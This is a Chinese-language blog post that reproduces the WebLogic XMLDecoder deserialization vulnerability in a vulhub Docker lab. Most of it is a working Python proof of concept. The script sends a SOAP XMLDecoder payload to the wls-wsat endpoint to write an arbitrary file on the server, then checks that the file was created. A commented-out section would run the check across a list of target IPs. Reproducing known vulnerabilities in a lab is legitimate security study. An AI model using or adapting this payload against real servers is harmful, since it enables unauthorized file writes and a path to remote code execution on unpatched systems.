WebLogic XMLDecoder反序列化漏洞复现

Posted 2020-10-19 时光不改

参考链接： https://bbs.ichunqiu.com/thread-31171-1-1.html

 

git clone https://github.com/vulhub/vulhub.git

cd vulhub/weblogic/ssrf/

docker-compose up -d

 

这时我们就可以访问docker中weblogic的地址，地址为ubuntu(IP):7001，访问 http://192.168.126.142:7001/ 如下图搭建成功。

 

 

检验POC

import requests
headers = { \'Content-type\': \'text/xml\' }
data = \'\'\'<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
            <soapenv:Header>
                <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                    <java><java version="1.4.0" class="java.beans.XMLDecoder">
                        <object class="java.io.PrintWriter">
                            <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/weblogic.txt</string>
                            <void method="println"><string>Weblogic_Test</string></void><void method="close"/>
                        </object>
                    </java></java>
                </work:WorkContext>
            </soapenv:Header>
            <soapenv:Body/>
        </soapenv:Envelope>\'\'\'
def exp(ip):
    # ip = ip.strip("\\n")
    url_post = ip + "/wls-wsat/CoordinatorPortType11"
    url_myfile = ip + "/bea_wls_internal/weblogic.txt"
    # print("Test for " + ip + ".....")
    r = requests.post(url=url_post,data=data,headers=headers)
    r2 = requests.get(url_myfile)
    if r2.status_code != 404:
        print("Weblogic Vulnerable!!!")
        print("You file path is " + url_myfile)
    else:
        print("No Vulnerable!!!")
    # print("=================================================")

if __name__ == \'__main__\':
    # Weblogic_IP_list = []
    # with open("weblogic.txt") as f:
    #     Weblogic_IP_list = f.readlines()
    # for ip in Weblogic_IP_list:
    #     exp(ip)
    ip = "http://192.168.126.142:7001"
    exp(ip)

 

 

在/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/weblogic.txt目录下生成weblogic.txt，访问证明漏洞存在

 

 

复现完成。